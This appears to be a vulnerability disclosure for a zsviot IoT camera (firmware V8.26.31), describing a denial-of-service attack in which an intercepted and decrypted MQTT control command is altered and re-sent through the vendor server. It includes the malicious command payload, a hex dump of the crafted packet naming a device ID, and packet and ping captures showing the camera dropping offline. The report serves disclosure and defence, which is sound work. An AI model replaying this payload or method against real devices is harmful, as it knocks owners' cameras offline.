zsviot camera

device ID：6cd1b935158c1e0121hwbu

firmware version：V8.26.31

When sending commands to the camera through the server using the MQTT protocol via the Tuya Smart APP as shown in Figure 1, it was found that the device would temporarily go offline on the APP, as shown in Figures 2 and 3. This vulnerability can lead to a denial of service for a period of time.

The specific implementation involves triggering the execution of any control command on the app side to generate network traffic, then performing a man-in-the-middle attack between the APP and the server, decrypting the SSL/TLS messages, and reverse engineering the original control command based on the encryption algorithm. The control command ID and corresponding values are then modified as shown in Figure 1. Subsequently, a new message is generated according to the encryption and coding rules and sent to the server. The server then forwards this message to the device side, where the device exhibits abnormal behavior upon receiving this message, causing the device to go offline.

```
b'{"data":{"dps":{"115":54}},"protocol":5,"t":1703125310}'
10.42.0.171:55521 -> tcp -> 42.192.34.178:8883

    0000000000 32 76 00 23 73 6d 61 72 74 2f 6d 62 2f 6f 75 74   2v.#smart/mb/out
    0000000010 2f 36 63 64 31 62 39 33 35 31 35 38 63 31 65 30   /6cd1b935158c1e0
    0000000020 31 32 31 68 77 62 75 00 51 32 2e 32 15 89 d7 28   121hwbu.Q2.2...(
    0000000030 00 00 00 50 00 00 b3 93 02 1c 3f fe ae 10 08 b4   ...P......?.....
    0000000040 58 12 13 11 19 ad 2c ff 35 0a 8e f3 dc 17 34 41   X.....,.5.....4A
    0000000050 6e d4 ff ca 21 27 c9 f4 f0 ee c1 ab 0f 3c 59 2b   n...!'.......<Y+
    0000000060 9e 36 8a da 77 c7 81 6a de fd 1d da d2 29 ed 03   .6..w..j.....)..
    0000000070 9e 32 fe 29 c7 f4 8b b7                           .2.)....
```

Figure 1: Plaintext of abnormal control commands triggered by APP sending

```
121.5.97.151   10.42.0.83     TLSv1.2  235 8883   59294  Application Data
10.42.0.83     121.5.97.151   TCP       54 59294  8883   59294 → 8883 [ACK] Seq=13507 Ack=12721 Win=
121.5.97.151   10.42.0.83     TLSv1.2  235 8883   59294  Application Data
121.5.97.151   10.42.0.83     TCP      235 8883   59294  [TCP Retransmission] 8883 → 59294 [PSH, ACK
121.5.97.151   10.42.0.83     TCP      235 8883   59294  [TCP Retransmission] 8883 → 59294 [PSH, ACK
121.5.97.151   10.42.0.83     TCP      235 8883   59294  [TCP Retransmission] 8883 → 59294 [PSH, ACK
121.5.97.151   10.42.0.83     TCP      235 8883   59294  [TCP Retransmission] 8883 → 59294 [PSH, ACK
121.5.97.151   10.42.0.83     TCP      235 8883   59294  [TCP Retransmission] 8883 → 59294 [PSH, ACK
121.5.97.151   10.42.0.83     TCP      235 8883   59294  [TCP Retransmission] 8883 → 59294 [PSH, ACK
```

Figure 2: Communication messages between the device and the server

```
64 bytes from 10.42.0.83: icmp_seq=51 ttl=64 time=13.5 ms
64 bytes from 10.42.0.83: icmp_seq=52 ttl=64 time=4.76 ms
64 bytes from 10.42.0.83: icmp_seq=53 ttl=64 time=6.17 ms
From 10.42.0.1 icmp_seq=70 Destination Host Unreachable
From 10.42.0.1 icmp_seq=71 Destination Host Unreachable
From 10.42.0.1 icmp_seq=72 Destination Host Unreachable
From 10.42.0.1 icmp_seq=73 Destination Host Unreachable
From 10.42.0.1 icmp_seq=74 Destination Host Unreachable
64 bytes from 10.42.0.83: icmp_seq=81 ttl=64 time=5.25 ms
64 bytes from 10.42.0.83: icmp_seq=82 ttl=64 time=2.75 ms
64 bytes from 10.42.0.83: icmp_seq=83 ttl=64 time=3.33 ms
64 bytes from 10.42.0.83: icmp_seq=84 ttl=64 time=2.34 ms
```

Figure 3: Within the local network, the device becomes unreachable by ping for a period after receiving the message